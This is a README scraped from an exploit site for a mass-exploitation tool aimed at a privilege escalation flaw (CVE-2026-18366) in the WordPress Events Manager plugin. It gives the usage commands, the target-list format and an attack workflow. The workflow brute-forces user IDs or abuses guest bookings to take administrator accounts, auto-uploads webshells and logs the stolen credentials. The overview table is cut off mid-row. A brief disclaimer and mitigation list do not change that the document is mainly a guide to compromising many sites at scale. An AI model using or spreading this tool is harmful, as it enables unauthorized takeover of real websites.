## https://sploitus.com/exploit?id=0D05FDA5-2D32-5BF2-B5F3-D39DFE729B14
# CVE-2026-18366
Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator
---
## 🔗 Stay Updated
**For the latest zero-days, exploits, and security research**
[](https://t.me/KNxploited)
---
## 📋 Vulnerability Overview
| Attribute | Details |
|-----------|---------|
| **CVE ID** | CVE-2026-18366 |
| **Severity** | 🔴 **CRITICAL** (CVSS 9.8) |
| **Plugin** | Events Manager for WordPress |
| **Affected Versions** | ⚠️ Unauthenticated REST does not require a nonce (no logged-in cookie).
### Guest Booking Exploitation
Guest bookings (`dbem_bookings_anonymous=1` by default) create real WP users, enabling collision forcing. The booking nonce is publicly available on event forms.
---
## 🚀 Usage
### Requirements
```bash
pip install aiohttp
```
### Quick Start
```bash
python CVE-2026-18366.py
```
The script will prompt for:
- **list** → Path to target list file (default: `list.txt`)
- **speed** → Concurrent workers (default: 10)
### Command Line Options
```bash
python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
```
| Option | Description |
|--------|-------------|
| `-l, --list` | Path to file containing target URLs |
| `-s, --speed` | Number of concurrent workers (1-200) |
| `--timeout` | Request timeout in seconds (default: 20) |
### Target List Format
Create a `list.txt` file with one target per line:
```
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
```
---
## 📊 Output
### Console Output
```
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
```
### Results File
Successful compromises are saved to `adminS.txt`:
```
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
```
---
## 🔄 Exploitation Workflow
```
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
```
---
## ⚙️ Features
- **Async Architecture** → High-performance concurrent scanning
- **Dual Attack Paths** → ID collision + Guest booking exploitation
- **Auto Shell Upload** → Plugin/Theme webshell deployment
- **Version Detection** → Automatic vulnerable version identification
- **Smart Username Enum** → Multiple enumeration techniques
- **Login Verification** → Cookie + XML-RPC validation
- **Privilege Escalation** → Auto-promote to administrator
---
## 📁 File Structure
```
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
```
---
## ⚠️ Disclaimer
```
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
```
---
## 🛡️ Mitigation
If you are a WordPress administrator:
1. **Update** Events Manager to version **7.4.1** or later
2. **Audit** user accounts for unauthorized changes
3. **Review** access logs for suspicious REST API activity
4. **Implement** WAF rules to filter malicious requests
---
## 👤 Author
**Nxploited** (Khaled Alenzi)
[](https://t.me/KNxploited)
---
Security Research • Ethical Hacking • Zero-Day Discovery